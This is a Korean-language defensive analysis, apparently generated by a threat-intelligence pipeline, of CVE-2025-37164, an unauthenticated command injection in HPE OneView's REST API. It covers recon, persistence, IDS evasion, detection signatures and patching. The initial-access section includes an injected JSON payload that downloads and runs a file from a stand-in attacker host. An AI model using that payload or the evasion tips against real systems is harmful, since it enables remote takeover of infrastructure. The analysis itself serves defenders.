[공격] 분석 — CVE-2025-37164

• 심각도 critical · CVSS 10.0 · EPSS 0.89733 · 악용난이도 easy · KEV

• 공격 표면

  • HTTP(S) 포트(443/8443)에서 노출되는 REST API(POST /rest/*). 인증 없이 접근 가능(CVSS AV:N/PR:N/UI:N).
  • 입력값 검증이 누락된 JSON 파라미터(예: command, script 등)에서 시스템 명령어가 직접 실행될 수 있음 ※ 정확한 필드명은 공개되지 않아 추정.

• 정찰 단계

  1. 포트 스캔 → OneView 관리 인터페이스 확인.
  2. /rest/login-sessions 등 무인 API 호출로 버전 정보 획득(버전 < 11.0이면 취약).

• 초기 접근·실행 (CVSS AC:L)

  • 위 엔드포인트에 조작된 JSON을 전송하면, 내부 파싱 로직이 명령 문자열을 그대로 system() 혹은 유사 함수에 전달한다.
  • 예시(축약): {"command":"; /bin/sh -c 'wget http://attacker/x -O /tmp/x && chmod +x /tmp/x && /tmp/x'"} → 루트 쉘 실행.

• 권한 획득·지속

  • 초기 RCE가 이미 root 권한으로 동작하므로 별도 상승 필요 없음.
  • 공격자는 POST /rest/appliance/users 로 신규 관리자 계정 생성하거나, /etc/rc.d/rc.local 등 시작 스크립트에 백도어 삽입해 영구화한다.

• 영향 단계

  • OneView가 관리하는 서버·스토리지·네트워크 장비 전체에 명령 실행 권한 획득 → IPMI/iLO, vCenter 등 하위 인프라까지 연쇄 침투 가능.

• 우회 기법

  • 단순 문자열 매칭 IDS를 회피하기 위해 Chunked Transfer Encoding이나 URL‑encoding, Base64 변조 등을 사용할 수 있다. 따라서 입력값 검증·WAF 스키마 강제 적용이 필수이다.

악용 가능성: 해당 취약점은 AV:N(네트워크를 통한 원격 접근)·AC:L(낮은 복잡도)·PR:N(권한이 필요 없는 공격)·UI:N(사용자 상호작용 없이 실행)이라는 CVSS 벡터가 그대로 실현 조건을 반영합니다. 즉, 인터넷에 노출된 HPE OneView 관리 인터페이스에 접근할 수만 있으면 별도의 인증 절차나 피싱 단계 없이 바로 악성 페이로드를 전송해 원격 코드를 실행할 수 있습니다. EPSS 값 0.89733은 현재까지 관측된 공격 시도가 매우 빈번함을 의미하며, KEV(실제 악용) 등재는 이미 실제 악성 행위가 보고된 사례가 존재한다는 강력한 증거입니다. 트리거 조건은 HTTP(S) POST 요청의 특정 파라미터에 조작된 데이터를 포함시키는 것으로, 해당 엔드포인트와 파라미터가 외부에 공개돼 있으면 공격 표면이 그대로 됩니다. 따라서 방어자는 네트워크 경계에서 OneView 관리 포트를 차단하거나 접근 제어 리스트를 엄격히 적용하는 것이 가장 효과적인 초기 방어 수단이 됩니다.

OneView 장비가 완전 장악되면 관리 콘솔 전체와 연결된 물리 서버·스토리지·네트워크 장비를 자유롭게 조작할 수 있다. 이는 데이터 유출, 서비스 중단, 전원 차단 등 치명적인 비즈니스 연속성 위협을 초래한다.

• 추정: 버전 정보 노출 → 인증 우회(CWE‑287)와 결합하면 사전 인증 없이 관리 API를 남용할 수 있다.
• 추정: OneView 내부 Linux 커널/컨테이너 엔진에 존재하는 로컬 권한 상승 취약점(CWE‑269)이 있으면, 초기 RCE 후 추가적인 시스템 레벨 공격을 가속화한다.
• 일반적인 체인 패턴은 정보 노출 → 무인 인증·버전 확인 → 명령 실행이며, 현재 확인된 별도 CVE는 없지만 동일 제품군에서 발견된 인증 우회 및 파일 업로드 검증 부재가 연계될 가능성이 있다.

• 네트워크: POST /rest/* 요청 본문에 ;, |, ` 등 명령 구분자가 포함되면 경보. 예) http.request.body contains "; /bin/sh" 또는 json.key=="command" && json.value matches /[\;\|\]/`.
• 호스트: /var/log/messages, syslog, auditd에서 execve("/bin/sh")·wget 등 급증.
• 애플리케이션: OneView 로그(/etc/oneview/logs/*.log)에 인증 없이 성공적인 /rest/appliance/users 생성 또는 비정상적인 API 호출이 기록될 경우.

1. 즉시 차단 – 외부망에서 OneView 관리 IP·포트(443/8443)로의 직접 접근을 방화벽 ACL 혹은 보안 그룹으로 제한하고, 신뢰된 운영팀 IP만 허용한다.
2. IDS/IPS 서명 배포 – 위 탐지 섹션에 제시한 명령어 삽입 패턴을 포함하는 시그니처를 적용해 악성 트래픽을 차단한다.
3. 입력 검증 강화 – WAF에서 JSON 스키마를 엄격히 정의하고, 인코딩·Chunked 전송을 모두 거부하도록 설정한다(전략적 우회 방지).
4. 패치 적용 – HPE가 제공하는 OneView 11.00 이상 버전 또는 해당 취약점이 해결된 최신 업데이트로 즉시 업그레이드한다.
5. 로그·SIEM 연계 – 네트워크, 호스트, 애플리케이션 지표를 SIEM에 통합해 실시간 알림을 설정하고, 비정상적인 API 호출·프로세스 생성 시 즉시 대응한다.
6. 관리망 격리 – 패치 적용 전까지 관리 네트워크(Management Network) 내 IP 대역을 최소화하고, ACL로 접근 가능한 장비를 제한한다(동료 의견 반영).

이 조치는 [교차검증] 다중 소스 일관성 확인(신뢰도 1.0), EPSS 0.89733(실측 악용 예측 상위 0.1%), KEV 등재에 기반한 즉시 대응(24 시간 이내) 판단을 반영한다.

• 조치: immediate (지금 즉시(24h 내))
• 근거: CVSS=10.0 · KEV · EPSS=0.89733 · exploit=easy · in_scope=None